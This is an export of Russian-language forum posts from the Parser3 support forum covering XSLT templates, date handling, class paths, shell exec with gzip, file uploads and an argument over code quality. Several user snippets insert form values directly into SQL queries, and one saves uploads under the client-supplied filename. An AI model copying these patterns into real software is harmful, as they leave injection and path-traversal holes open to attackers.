    <p><xsl:value-of select=\".\" /></p>\
</xsl:template>\
\
<xsl:template match=\"bold\">\
    <b><xsl:value-of select=\".\" /></b>\
</xsl:template>\
\
<xsl:template match=\"link\">\
    <a href=\"{@href}\"><xsl:value-of select=\".\" /></a>\
</xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
Но всё равно <btext> игнорируется. Подскажите что я неправвильно делаю ?"
"40834","Я наверное уже совсем ничего не соображаю (как всегда — от недосыпания :) ), я получаю из базы строку с датой вида 0000-00-00 00:00, я эту дату подсовываю так:\
\
[code]\
^dtf:format[%e %h %Y %H:%M;$date;$dtf:rr-locale]\
[/code]\
\
А он мне естественным образом на нее ругается, потому что при создании даты, должна быть строка вида 0000;00;00;00;00;00, т.е. мне надо дефисы, пробелы и двоеточия заменить на точку с запятой. Вот что я делаю:\
\
[code]\
^dtf:format[%e %h %Y %H:%M;^date.match[[-:\\s]][g]{^;};$dtf:rr-locale]\
[/code]\
\
Все работает отлично. Но как-то не хочется каждый раз при выводе даты делать match… Может быть как-то иначем можно решить эту задачу?"
"40835","Вот ещё раз xml и xsl:\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
<xsl:template match=\"article\">\
\
    <p><xsl:value-of select=\"title\" /></p>\
    <xsl:apply-templates select=\"body | links\" />\
\
</xsl:template>\
\
<xsl:template match=\"body\">\
\
    <xsl:apply-templates select=\"para\" />\
\
</xsl:template>\
\
<xsl:template match=\"para\">\
\
    <xsl:for-each select=\"btext\">\
            <b><xsl:apply-templates select=\".\" /></b>\
    </xsl:for-each>\
\
</xsl:template>\
\
<xsl:template match=\"links\">\
    <ul>\
        <xsl:for-each select=\"link\">\
            <li><xsl:apply-templates select=\".\" /></li>\
        </xsl:for-each>\
    </ul>\
</xsl:template>\
\
<xsl:template match=\"para\">\
    <p><xsl:value-of select=\".\" /></p>\
</xsl:template>\
\
<xsl:template match=\"btext\">\
    <b><xsl:value-of select=\".\" /></b>\
</xsl:template>\
\
<xsl:template match=\"link\">\
    <a href=\"{@href}\"><xsl:value-of select=\".\" /></a>\
</xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<article>\
    <title>Заголовок</title>\
    <body>\
        <para>\
        Текст\
        <btext>Жирный текст</btext>\
        снова текст\
        </para>\
        <para>Текст далее</para>\
    </body>\
    <links>\
        <link href=\"http://www.parser.ru/docs/lang/xdocclass.htm\"> xdoc</link>\
        <link href=\"http://www.parser.ru/docs/lang/xnodeclass.htm\"> xnode</link>\
    </links>\
</article>\
[/code]"
"40836","[code]\
<xsl:template match=\"body\">\
	<xsl:apply-templates/>\
</xsl:template>\
\
<xsl:template match=\"para\">\
	<xsl:apply-templates/>\
</xsl:template>\
[/code]"
"40837","[quot]\
метод в состоянии переварить форматы: 2001-02-13, 2001-02-13 15:55[:55], 20:30\
[/quot]\
комменты dft"
"40838","может это и лишнее, но я всегда стараюсь экранировать спец. символы."
"40839","т.е. такое:\
^dtf:format[%d.%m.%Y %T;2003-04-16 12:22:33]\
или такое:\
^dtf:format[%d.%m.%Y %T;$record.dt]\
где $record.dt - дата/время которую достали из SQL у меня [b]работает[/b]"
"40840","мы тоже сначала как дорвались до xml начали писать <para/> & Co, а потом вернулись к старым добрым <p/>, <b/>  & Co, чего и вам желаю. \
\
не надо придумывать новые теги для сущностей, которые уже придуманы :)"
"40841","Либо всё по два раза выводиться либо вообще ни как.\
Задам конкретный вопрос кто знает ответте:\
\
вот xml\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<article>\
    <title>Заголовок</title>\
    <body>\
    <par>\
    Простой текст\
    <btext>Жирный текст</btext>\
    <itext>Курсивный текст</itext>\
    </par>\
    </body>\
</article>\
[/code]\
\
Как написать xsl что бы получить HTML:\
[code]\
<p>Заголовок</p>\
<p>\
<b>Жирный текст</b>\
<i>Курсивный текст</i>\
</p>\
[/code]\
\
Объясните пожалуйста, а дальше думаю сам разберусь ?"
"40842","В частности, куда вводить логин/пароль."
"40843","1. Скачать исходные коды и документацию по ним.\
2. Написать реализацию SMTP\
3. Скомпилировать\
4. Использовать, как написали.\
5. Соль и перец по вкусу :)"
"40844","копай сюды:\
\
[code]\
<xsl:template match=\"btext\">\
    <fo:inline-sequence>\
    <b><xsl:apply-templates /></b>\
    </fo:inline-sequence>\
</xsl:template>\
[/code]\
\
только формат прикрути..."
"40845","Производить форматирование текста полученного преобразованием ? Ведь в xml я не могу использовать <b></b> и <i></i>"
"40846","Прописую в главном auto.p строку:\
\
[code]\
@USE\
/classes/lib.p\
/classes/mysql.p\
[/code]\
\
Выдает ошибку:\
\
[quot]\
[b]Unhandled Exception (Debug)[/b]\
usage failed - no $MAIN:CLASS_PATH were specified\
sql.p\
\
()\
exception.type=parser.runtime \
[/quot]"
"40848","сделайте так, чтобы sql.p был в путях поиска, например добавьте в CLASS_PATH ваш /classes/ и заодно не надо будет постоянно писАть:\
\
[code]\
@USE\
/classes/lib.p\
/classes/mysql.p\
[/code]\
\
а можно будет обойтись:\
\
[code]\
@USE\
lib.p\
mysql.p\
[/code]\
\
однако мы рекомендуем выносить классы из веб-пространства (/../data/classes/)"
"40849","именно.\
зачем использовать <para/> если уже есть <p/>, <btext/> если есть <b/>?\
\
<p/> в xml ничем принципиально не отличается от <para/>"
"40850","[code]\
$env_hash[\
   $.QUERY_STRING[...your query string...]\
   $.REQUEST_METHOD[GET]\
]\
\
$f[^file::cgi[script.pl;$env_hash]]\
[/code]\
If something comes to Parser as POST it means [by default] that Parser says to Perl that it's POST (and not GET as you tell Perl with your QUERY_STRING). Another variant is to use HTTP_POST instead of QUERY_STRING.\
\
Rule:\
if GET, then QUERY_STRING\
if POST, then HTTP_POST\
\
2PAF: I don't know if it is a feature or a bug."
"40851","Помогло, но вот вынести почему-то не получается. Прописую как вы и сказали, но не находит :/ Кстати, какой должен быть путь, Если у меня корень сайта лежит в /publi_html/?"
"40852","Вчера что-то мудрил-мудрил с матчем, потому что не работало без него (вероятно ошибка была в другом месте, но я полез именно сюда, пропуская комменты). Сегодня прихожу - все как было, даже следов матчей не видно. И все работает 8)\
\
Точно перегрелся..."
"40853","ещё напечатайте $ENV{REQUEST_METHOD}\
посмотрите на экран."
"40854","обычно на всех hosting письма от [b]своих[/b] IP адресов исправно принимаются без всякой авторизации.\
\
если кому нужно, сделайте, приму \"patch -u\"."
"40855","главный auto.p:\
\
##\
$CLASS_PATH[^table::create{path\
/classes\
}]\
##\
\
\
корневой auto.p:\
\
@USE\
lib.p\
mysql.p\
sql.p\
\
\
результат:\
\
sql\
outside of 'connect' operator\
z:/home/parser.ru/www/classes/sql.p(109:63)"
"40858","Есть таблица. \
xml следующий:\
<doc>\
<row header='2005-05-06'>\
<rowItem>\
<in value='0' /><out value='0' /><money value='0' />\
</rowItem>\
<rowItem>\
<in value='0' /><out value='0' /><money value='0' />\
</rowItem>\
</row>\
<row header='2005-05-07'>\
<rowItem>\
<in value='0' /><out value='0' /><money value='0' />\
</rowItem>\
<rowItem>\
<in value='0' /><out value='0' /><money value='0' />\
</rowItem>\
</row>\
</doc>\
Посчитать сумму по строкам просто - sum(rowItem/money/@value) после вывода каждой строки. А по столбцам?"
"40859","http://www.parser.ru/forum/?id=33089"
"40861","[b]…outside of 'connect' operator…[/b]\
Происходит попытка выполнить SQL запрос (^table::sql{}, ^int:sql{} и др.) вне оператора для подключения к БД ^connect[строка подключения]{запросы тут}.\
\
Так что с этим делать?"
"40865","[code]\
\
@main[]\
$f[^file::cgi[/cgi-bin/test.cgi;$.stdin[$request:body]]]\
<h1> $f.HEADER1</h1>\
Текст: $f.text\
[/code]\
\
/cgi-bin/test.cgi\
[code]\
#!/bin/bash \
\
echo Content-type: text/html\
echo Header1: lala1111\
echo Header2: lala2222\
echo \
echo lala \
[/code]\
\
lala1111 - не выводится\
если писать ^file::exec, то выводятся все заголовки засчёт $f.text"
"40866","завтра будет новый день - может быть посетит муза... :)"
"40867","[code]\
<h1> lala1111</h1>\
Текст: lala\
[/code]"
"40869","Прочитал все насчет base64 по форуму. А когда все-таки сделаете кодирование в base64 в парсере?"
"40870","читали?"
"40871","Я бы так и сделал, если б писал на C ... :(\
Может подскажете утилитку под freebsd для кодирования в SHA1 и в base64 ?"
"40872","[code]@main[]\
$bla[^incTest(12)]\
bla - `$bla'\
\
$bla[^incTest(13)]\
bla - `$bla'\
\
\
@incTest[test][test]\
#$test($test)\
^test.inc[]\
$result[$test][/code]\
Если убрать комментарий - все работает как надо."
"40875","Прошу прощения за оффтопик, но сил моих больше нету... :-)\
Пытаюсь на парсере организовать архивацию файлов.\
\
Создал шелл-скрипт pack (положил в /../cgi-bin, права 750):\
#!/bin/sh\
unzip $1\
\
Вызываю:\
$f[^file::exec[/../cgi-bin/pack;;/../htdocs/arc /../htdocs/*]]\
\
... и ничего! Архивации не происходит.\
\
$f.text = пусто \
$f.stderr = пусто\
$f.status = 254\
\
Что я делаю не так?"
"40876","Раньше говорилось в форуме примерно следующее\
\
тк полноценная среда со всеми переменными не запускается следует указывть полный путь(в вашем случае до unzip)\
\
Сразу встаёт вопрос, вам действительно нужен шел скрипт?"
"40877","я вижу вы пишите такое:\
[quot]\
/../htdocs/arc /../htdocs/*\
[/quot]\
\
пробел означает что далее идет второй параметр. в случае с парсер надо написать так:\
[code]\
$f[^file::exec[/../cgi-bin/pack;;/../htdocs/arc;/../htdocs/*]]\
[/code]\
т.е. пробел заменить на символ ';'"
"40878","2Oleg\
А есть ли другие варианты, кроме шелл-скрипта?\
\
2Misha\
Пробовал и такое, ставил точку с запятой для разделения параметров (мантра RTFM работает :-) ). \"Неизменно превосходный результат\".\
Такое ощущение, что zip'а просто нет. Пробовал и gzip, tar. (А также /bin/zip, /bin/gzip etc.)\
\
Что может означать код завершения 254? В man по zip/unzip коды от 0 до 16."
"40880","чтобы нельзя было заниматься вышеописанной ерундой.\
\
только она сколько-то замедлит компиляцию, а замедление нам ни к чему."
"40881","Я пользуюсь Денвером в локалке. Вынес классы в корневой каталог [i]/data/classes/[/i]. В конфигурационном файле [i]auto.p[/i] указал путь:\
\
[code]$CLASS_PATH[^table::create{path\
/../../../data/classes/\
}][/code]\
\
Все работает, теперь все проекты у меня пользуются общими классами. Здорово! Но...\
\
Делаю аналогичным образом на удаленном сервере. Выношу классы в рут аккаунта, в папку [i]/data/classes/[/i]. Прописую в конфигурационном файле:\
\
[code]$CLASS_PATH[^table::create{path\
/../data/classes/\
}][/code]\
\
Классы невидны Парсером. :("
"40884","Когда я программировал на Perl, там были замечательные ескейп-символы:\
\
\\n - символ переноса строки\
\\s - символ пробела\
и т.п.\
\
Думаю, что многие с этим знакомы. Так вот вопрос, как в символьную переменную добавить ескейп-символ? К примеру я хотел бы так:\
\
[code]$text[<сивол переноса сторки>][/code]"
"40885","[code]\
^file:list[/../data/classes]\
[/code]\
http://www.parser.ru/docs/lang/filelist.htm"
"40886","Не запускается parser3 с ошибкой /libexec/ld-elf.so.1: /usr/lib/libgc.so.1: Undefined symbol \"pthread_equal\"\
Собрано из CVS на FreeBSD 5.2.1 с указанным gc6.1, сокнфигурированным с --disable-threads --silent"
"40888","\\n - ^#0A \
\\s - ^#A0\
\
PS сори за дублирование, первого поста не заметил ))"
"40890","Банальная ошибка, я два раза в auto.p прописывал переменную $CLASS_PATH :/\
\
Одна в начале файла, другая в конце. Она то и перекрывала все. :)\
\
Спасибо."
"40892","вижу, что libgc берётся из /usr/lib, вы туда его поставили?\
может вдруг нет, и оттуда взялся вражеский?\
\
ещё: возможно, конечно, что configure в libgc неправильно разобрался в ситуации и всё же неправильно скомпоновался.\
\
рассмотрите внимательно результирующий libgc.so:\
загляните ldd в него: есть ли ссылка на pthreads?\
загляните просто любым простмотрщиком в файл, есть ли буквы \"pthread\"."
"40893","поддерживаю!:)\
\
ОГРОМНОЕ спасибо!!"
"40894","Поиск не принес ожидаемых результатов. Работа с Soap в парсере возможна? Если нет где найти примеры на php5?"
"40895","мне никогда даже в голову не приходило написать подобное.\
я скорее не делал-бы $test($test) написал-бы так:\
\
[code]\
@incTest[var]\
$result($var)\
^result.inc(1)\
[/code]"
"40896","Я его поставил (сервер наш, а не хостинг...). Проблема действительно была в том что брался неправильный либ. Это старый, который я скомпилировал раньше чем прочитал о необходимости опций --disable-threads --silent :(((\
\
Сейчас парсер запускается.\
\
ПС: А по слову \"pthread\" в либе есть только\
00021de0 B GC_no_sunOS_pthreads"
"40897","Делаю проект по управлению договорами через веб-интерфейс.\
Файл договора (обычно документ MS Word) хранится в базе MySQL\
Insert файла в базу реализовал без проблем, а вот как сделать возможность пользователю закачки, без предварительного сохранения файла на сервере?\
Форум смотрел, справку по парсеру тоже, решения не нашел....\
\
ссылку бубликую так:\
[code]\
<td>Файл договора: <td><a href=\"file.html?id=$id\" \
target=\"_blank\">$filename</a>\
[/code]\
\
А вот что бы написать в файле file.html ... загвоздка...\
\
ну например:\
$fl[^file::sql{select file from contracts where id = $form:id}]\
$fl.text\
просто выведет содержимое текстовика из базы.\
\
а нужен диалог открытия/сохранения файла"
"40898","[code]\
@incTest[var]\
$result(^var.inc(1))\
[/code]\
\
И главный вопрос: зачем выносить инкремент в отдельный метод, если он и так уже является методом?.."
"40899","Я так понимаю что надо создать объект типа файл и дальше в $response:body его передать...\
\
http://www.parser.ru/docs/lang/responsebody.htm"
"40902","Люди в чём может быть проблема\
парсер пишет что:\
outside of 'connect' operator\
sql\
это когда пытаюсь запустить скроллер\
хотя в auto.p прописано соединение с базой.\
и вообще может кто приведёт пример scroller.html"
"40903","Пока кривовато, но уже работает...\
странно, но\
$response:body[$fl] \
 и \
$response:download[$fl]]\
\
работают одинаково открывают файл в окне браузера ввиде текстовика."
"40905","Сравните свой код с куском примера:\
[code]^connect[$connect_string]{\
   $news[^table::sql{select date, header, body from news where date='${now.year}-${now.month}-$day'}]\
}[/code]"
"40906","случайно обнаружил тип boolean, думал, что его в парсере нет, или 1 и есть true\
\
[code]\
$boolean($b == $b)\
\
^if($boolean is \"bool\"){true}{false}\
[/code]\
и вот еще:\
[code]\
$boolean($b == $b)\
$result[$boolean]\
# взвращает \"is 'bool', it has no string representation\", а \
$boolean($b == $b)\
$boolean\
# возвращает \"method_frame may not be overwritten with bool, store it to variable instead\"\
[/code]\
\
почему булен не документирован? :)"
"40907","никаких статических методов объект не имеет, да и функциональность его ограничена использованием внутри, собственно, логического выражения."
"40908","может я чего неправильно делаю?\
вот index.html скроллевский\
@USE\
/scroller/scroller.p\
\
@body_main[]\
Новости<br>\
\
^connect[$connect_string]{\
$news[^table::sql{select date, header, body from news where date='${now.year}-${now.month}-$day'}]\
}\
\
$scroller[^scroller::create[\
	$.path_param[page]\
	$.table_count[100]\
	$.number_per_section[20]\
	$.section_per_page[5]\
	$.type[page]\
]]\
^scroller.draw[]"
"40909","Дайте хоть один пример использования. Драйвера простые смертные похоже никогда не дождутся, пример с exec хотя бы посмотреть можно, научите как правильно?"
"40910","[code]^file::sql{запрос}[$.name[имя] $.content-type[пользовательский тип]][/code]"
"40911","Я не пробовал но\
вместо /../cgi-bin/pack напишите /путь/До/unzip с параметрами"
"40912","Есть главный XML файл и дополнительные.\
\
Дополнительные преобразую c помощью xslt, перевожу в строку и вставляю в главный строковый xml, но при преобразовании выдается ошибка по поводу заголовков, можно при преобразовании удалять\
doctype и xml version?\
\
Может есть другие варианты, а то appendChild не хочется трогать т. к. куски кода большие?"
"40913","[code]\
Почему данные в БД заносятся,а файл не сохраняется. Т.е. нет ни ошибок, ни чего... и файла нет..\
\
$fl[$form:img]	\
^MAIN:dbconnect{\
	^void:sql{\
		INSERT INTO seazons\
			(Name, IName, Time)\
		VALUES\
			('$form:desc', '$fl.name', '$tm')\
	}\
\
	^fl.save[binary; /images/seazons/$fl.name]\
[/code]"
"40914","[code]^fl.save[binary;/images/seazons/$fl.name][/code]"
"40915","В скорллере не используется база данных никаким боком. Вообще.\
\
Проблема скорее всего у вас с новостями. И вероятно вы где-то еще используете данные из базы, потому что в приведенном коде вроде бы все верно.\
\
ПостСкриптум\
Пожалуйста используйте [url=\"http://www.parser.ru/forum/info.html\"]команды форматирования[/url] :)"
"40917","Надеюсь все таки получить толковый ответ на свой вопрос. Вот в документации написано, что парсер позволит создать механизм удобной работы с сайтом, его обновлением и наполнением... По идее это должно предполагать некую администраторскую панель сайта... \
Внимание вопрос: реализованы ли механизмы работы с каким-нибудь встроенным в язык интерфейсом? Я пока не разбирался достаточно подробно, а лишь начал читать документацию... покапался в архивах форума - толкового объяснения не нашел... Лишь что-то типа ДА, это возможно...\
Меня прежде всего интересуют уже встроенные возможности. По натуре я дизигнер, но мозг работает и как у программера, но времени изучать ПХП, чтобы создать на нем CMS нет... бесплатные меня не устраивают... а с программерами работать устал (нервы жалко)\
\
Заранее благодарю за внятные ответы."
"40918","[quot]Идея Parser довольно проста. В HTML-страницы внедряются специальные конструкции, обрабатываемые нашей программой перед тем, как страницы увидит пользователь. Программа сама доделывает за вас работу по окончательному формированию и оформлению сложного документа. Это похоже на собирание из конструктора, в котором есть готовые модули для всех обычных целей. Если же вы мыслите нестандартно, просто создайте свои модули, которые будут делать то, что необходимо именно вам. Ничего невозможного нет, при этом все делается просто и быстро.[/quot]\
\
В принципе это язык программирования, но гораздо проще и приятнее PHP. Так же он работает быстрее.\
\
Писать на нем легко и приятно. Вот например модуль интернет-магазина: [url=\"http://www.parser.ru/forum/?id=40387\"]http://www.parser.ru/forum/?id=40387[/url]\
\
Если захочешь изучать, обращайся с вопросами на форум и тебе поможем.\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40919","Спасибо. Эта часть проблемы решена.\
Мало того, что пути надо все указывать абсолютные (учитывая, что parser переходит в каталог со скриптом при exec); мало, что атрибуты надо выставить правильные - 750 или 755; мало, что надо знать про то, что zip'а на freeBSD нет, а есть gzip; мало знать параметры gzip (а gzip отдает данные в стандартный поток, надо использовать | > >>) - так еще и заливать файл скрипта pack надо как \"текстовый\". Вот...\
Трудно виндоюзеру жить в мире юниксоидов. :-)"
"40920","да, описываемая схема похожа на винегрет, может если чуть расскажете о задаче, предложим что умное."
"40921","совсем разные форматы."
"40922","Пишу форму для добавления/редактирования новостей на сайте и зашла в тупик.\
\
Как \"собрать дату\" из формы - помогли додуматься\
\
[code]\
$date[^date::create($form:y;$form:m;$form:d)]\
\
   ^mysql{\
      ^void:sql{\
	  	INSERT\
		INTO\
			news\
         	(dt, title, body, lead, type_id)\
      	VALUES \
         	('^date.sql-string[]', '$form:title', '$form:body', '$form:lead', '$form:type_id')\
      }\
[/code]\
\
Не могу сообразить как \"разбить дату\", полученную из БД вида yyyy-mm-dd на три значения (y, m, d). Т.е. получить из одного три :)"
"40923","вы уж простите, но ваш модуль можно использовать толкьо как пример плохого написания кода..."
"40925","YEAR(), MONTH() иже с ними."
"40929","Тогда ничего не понимаю. Провайдер уверяет, что на FreeBSD нет zip и что gzip делает архивы в формате zip...\
Ктовиноват, чтоделать и кудакопать?"
"40930","http://www.parser.ru/forum/?id=40925\
\
Сравните:\
[code]\
$good[^table::sql{SELECT id,YEAR(date) AS y FROM table}]\
^good.menu{\
    $good.id - $good.y\
}[/code][code]$bad[^table::sql{SELECT id,date FROM table}]\
^bad.menu{\
    $date_part[^bad.date.split[-;h]]\
    $bad.id - $date_part.0\
}[/code]\
\
Еще хорошая функция MySQL - DATE_FORMAT."
"40931","Специалисты php отзовитесь! С меня пиво если что..."
"40933","[code]\
[paf@rol7] ~> zip\
Copyright (C) 1990-1999 Info-ZIP\
Type 'zip \"-L\"' for software license.\
Zip 2.3 (November 29th 1999). Usage:\
zip [-options] [-b path] [-t mmddyyyy] [-n suffixes] [zipfile list] [-xi list]\
[/code]\
\
а насчёт форматов, zip и gzip не совместим никак.\
если не верите, проверьте сами.\
если вам всё равно, то tar+gzip файл (.tgz) вы на windows распакуете, например WinZip'ом. если вас это устроит, то паковать так:\
[code]\
tar -czf name.tgz directory/\
[code]"
"40936","Если Все здесь такие гуру, и считают что их код свят, может кто мне подскажет адрес форума \"Parser3 - для чайников\", где бы было побольше, чем 50 килобайт кода, пускай не такого драгоценного как выложенный здесь.\
\
Форуму и технологии уже не один год, но кроме parser.ru нет практически ничего."
"40937","Может Вам [url=\"http://www.phpclub.ru/talk/index.php\"]сюда[/url]?"
"40938","Видимо у вас небогатое представление о назначениях языка... \
[quot]\
но времени изучать ПХП, чтобы создать на нем CMS нет...\
[/quot]\
А что не надо изучать? Перед использованием сильного лекарства, вы разве не прочитаете инструкцию? \
\
[quot]\
 реализованы ли механизмы работы с каким-нибудь встроенным в язык интерфейсом?\
[/quot]\
что вам мешает их реализовать?\
\
Для интерфейса CMS может подйти все, что угодно: Parser + HTML (или XML/XSL), XML Sapiens, XUL + XML-RPC (или SOAP) + PARSER... etc."
"40941","Жаль прошлое мое обращение к тебе удалили, но думаю ты успел прочитать.\
Уважаемые D и Kaverdo. Конечно все здорово, но придется повторить еще раз:\
[b]Вместо того, чтобы хаять чужие работы, выкладывайте свои, и вообще, ваши мнения для этого треда вообщи ничтожные, сообственно как и мнимая помошь![/b]\
\
Что-то я не помню чтобы вы для общественного просмотра хоть один класс выложили.\
Я лишь помогаю чем-то реальным, для начинающих вполне пригодным.\
Вы же только и пишите что \"Поишите в форуме или почитайте книжки\".\
И не забывайте, для чего этот форум вообще существует. Очень \"умным\" здесь делать нечего, кроме службы поддержки конечно...\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40942","[quot]\
Я лишь помогаю чем-то реальным, для начинающих вполне пригодным.\
[/quot]\
\
это вы так считаете. вы показываете начинающим какой-то код. они не понимая что он означает делают copy/paste и потом разгребают не только свои ошибки, но и ваши.\
\
[quot]\
Вы же только и пишите что \"Поишите в форуме или почитайте книжки\".\
[/quot]\
\
потому, что они через это тоже прошли и поняли самое главное: [b]нужно научиться самому искать информацию[/b]. её море, и найти её не так сложно как кажется. а умение искать и учиться (именно этому нас кстати учат в школах/институтах) - пожалуй самая полезная штука в жизни.\
\
а привести пример кода можно запросто, только толку от этого ноль, ибо никакого знания он не приносит.\
\
что толку что выложены примеры? новички их читают? читают документацию? читают фак? да все равно не поймут они без документации выложенный код.\
\
P.S. одна из моих любимых фраз, высказанная кем-то великим (сорри забыл кем): \"научить - нельзя. научиться - можно.\""
"40943","[quot]\
реализованы ли механизмы работы с каким-нибудь встроенным в язык интерфейсом?\
[/quot]\
\
нет, если вы имеете ввиду какие-либо высокоуровневые интерфейсы.\
да, если вы имеете в виду механизмы, позволяющие получить от посетителя данные."
"40945","имхо, это очень полезная штука. И может упростить и укоротить код..."
"40946","по Вашему помощь - это давать плохой код без комментариев на любой вопрос?"
"40947","несколько интересных вариантов:\
\
http://www.parser.ru/forum/?id=6970\
http://www.parser.ru/forum/?id=23668\
http://www.parser.ru/forum/?id=39037"
"40948","[quot]а умение искать и учиться (именно этому нас кстати учат в школах/институтах) - пожалуй самая полезная штука в жизни.[/quot]\
\
Позвольте не согласиться, Михаил ;)\
\
В молодости я думал, что секс - это самое главное в жизни. Потом я вырос, возмужал, поумнел и понял, что так оно и есть... :)"
"40949","По поводу фразы: \"Научить нельзя, научиться можно\" полностью согласен.\
\
Миша, просто например представь себя не программистом, у которого есть желание изучить что-то новое и он не знает с какой стороны подступиться.\
И он спрашивает, как что работает, а ему толком ничего не отвечают.\
При этом он пытается в основном узнать о алгоритмах, которые он не знает.\
Например то же взаимодействие например форума, новостной ленты или интернет-магазина.\
\
Так же человек был бы обижен тем что получит в ответ:\
[quot]Видимо у вас небогатое представление о назначениях языка... [/quot]\
\
Еще так же в начале треда я писал:\
[quot]Если захочешь изучать, обращайся с вопросами на форум и тебе поможем.[/quot] По этому код класса и без комментариев.\
И вообщем-то я выкладывал его в тот момент не из соображений образца для обучения, а по тому что меня попросили об этом.\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40950","а по Вашему лучше на любой вопрос давать комментарии без кода на отстраненные темы?\
Товарисч пишет:\
[quot]Я пока не разбирался достаточно подробно, а лишь начал читать документацию...[/quot]\
а вы в ответ:\
[quot]что вам мешает их реализовать?[/quot]\
по-моему это как минимум [i]странно[/i]...\
\
...Кипит наш разум возмущенный..."
"40951","Если человек не знает, как подступиться, значит он не готов к этому, стало быть нужно научиться подступаться, задавать вопросы, получать и перваривать ответы. \
В интернете есть куча сайтов предоставляющие информацию обо всех известных алгоритмах... Если человек никогда не слышал о классах и объектах и просит объяснить, как создавать объект класса... как тут быть? само собой ему нужно прочитать основы ООП. \
[quot]\
Так же человек был бы обижен тем что получит в ответ:\
Видимо у вас небогатое представление о назначениях языка...\
[/quot]\
на обиженных кое что возят... почитайте фак, как задавать вопросы и получать ответы... Ну разве \"Что такое Parser?\" на главной странице не бросается в глаза? \
\
Примеров на сайте море. Еще раз повторю, в инете есть куча схем построений форумов, магазинов etc. Что мешает применить голову? \
\
Я последнее время, кроме как \"спасите, тону, но делать не буду. обижусь, если не сделаете за меня!\" не видел."
"40952","плохой код лучше вообще не показывать... а я да, я в ответ... \
Допустим, и парсер поддерживает что-то подобное. Это не нужно изучать? Нужно написАть в форум? :) \
перечитайте свое сообщение. ;)"
"40953","контекст цитат я не указывал - вы и так знаете о чем речь..."
"40954","Все таки нужно признать, что сдесь собрались [i]не только[/i] программисты, и ждать от них (тех кто \"не только\") полной самостоятельности вряд ли можно...\
Что до \"них\" (тех что пишут \"Поишите в форуме или почитайте книжки\"), то вы возможно правы \"они через это тоже прошли и поняли самое главное:\" [b]Раз мне никто ничего не дал, то и я буду всегда поступать так же[/b]\
На счет \"научить - нельзя. научиться - можно\" - возможно обладатель копирайта был и велик, [i]но[/i] тогда объясните мне зачем этот форум? зачем \"Документация\"? зачем вы (создатели и первые пользователи парсера) заходите на этот форум и \"пишете ответы\" (умышленно не пишу \"отвечаете\")?\
или одна голова - хорошо, а две... не бывает?\
мы [i]учимся[/i], и делаем это вместе, учя (извеняюсь) друг друга..."
"40955","Проблема такова:\
есть два xml и стили для них оба надо слить в один на выходе html\
\
Варианты:\
-к обоим применяются стили и они сливаются через match\
-xml файлы сливаются и применяется сначала один стиль затем другой\
-и xml и xsl файлы сливаются и преобразуются в html\
есть и другие, как лучше?\
\
Еще вопрос: я использую @xsl_database (стили в базе), пробовал в одном вызвать другой <xsl:import не получилось, может я многого хочу?"
"40956","где, на сложный и ни разу не обсуждаемый вопрос посылали... читать\
\
PS на этот тред есть много ответов, из которых автор может явно для себя решить, что делать дальше. Заметьте, ни одного отсыла в библиотеку..."
"40957","[quot]Видимо у вас небогатое представление о назначениях языка...\
\
    но времени изучать ПХП, чтобы создать на нем CMS нет...\
\
А что не надо изучать? Перед использованием сильного лекарства, вы разве не прочитаете инструкцию?\
\
    реализованы ли механизмы работы с каким-нибудь встроенным в язык интерфейсом?\
\
что вам мешает их реализовать?\
\
Для интерфейса CMS может подйти все, что угодно: Parser + HTML (или XML/XSL), XML Sapiens, XUL + XML-RPC (или SOAP) + PARSER... etc.[/quot]\
...no comments"
"40961","Не могу сообразить как лучше разбить значение 01:54:00 на 1 час и 54 минуты."
"40962","1. SELECT из БД с использованием функций даты и времени MySQL\
2. Парсером split по двоеточию и затем приведение 01 к 1 с помощью format.\
3. Не самый хитрый match :)"
"40963","люди помогите замутить шапку сайта примерно такую же как на сайте artlebedev.ru. Тоже чтобы кажды 24 часа менялись две картинки..."
"40964","[code]\
$now[^date::now[]]\
$default_image_name[default.jpg]\
$image_name[${now.year}.${now.month}.${now.day}.jpg]\
^try{\
    $img[^image::measure[/i/header/$image_name]]\
}{\
    ^if($exception.type eq 'file.missing'){\
         $img[^image::measure[/i/header/$default_image_name]]\
    }\
}\
[/code]\
\
Как вариант: можно хранить в базе табличку, в которой сопостовлять картинку с датой. Тогда при выборе надо будет просто проверять есть ли в базе за указанную дату картинка или нету.\
\
[code]\
$now[^date::now[]]\
$image_name[^string:sql{\
    SELECT\
        image_name\
    FROM\
        header_images_table\
    WHERE\
        YEAR(date) = $now.year AND\
        MONTH(date) = $now.month AND\
        DATE_FORMAT(date,'%d') = $now.day\
}[$.limit(1)$.default{/i/header/default.jpg}]]\
$img[^image::measure[$image_name]]\
[/code]"
"40965","Роман, 3-й вариант даже не обсуждается, о нём я знал, но УЖАСНО не хотел использовать...\
А в 2-ом варианте интересно как с помощью format сделать? Как из 1 сделать 01 знаю, а как наоборот нет."
"40967","Вы его советуете?"
"40969","[code]\
$test[01]\
^test.format[%2.1d]\
[/code]"
"40970","Значит я не так понял... Привидите пример, пожалуйста."
"40971","Если ты делаешь ^var.format[%[i]0[/i]2d] чтобы 1 к [i]0[/i]1 привести, значит знаешь как сделать наооборот :-)"
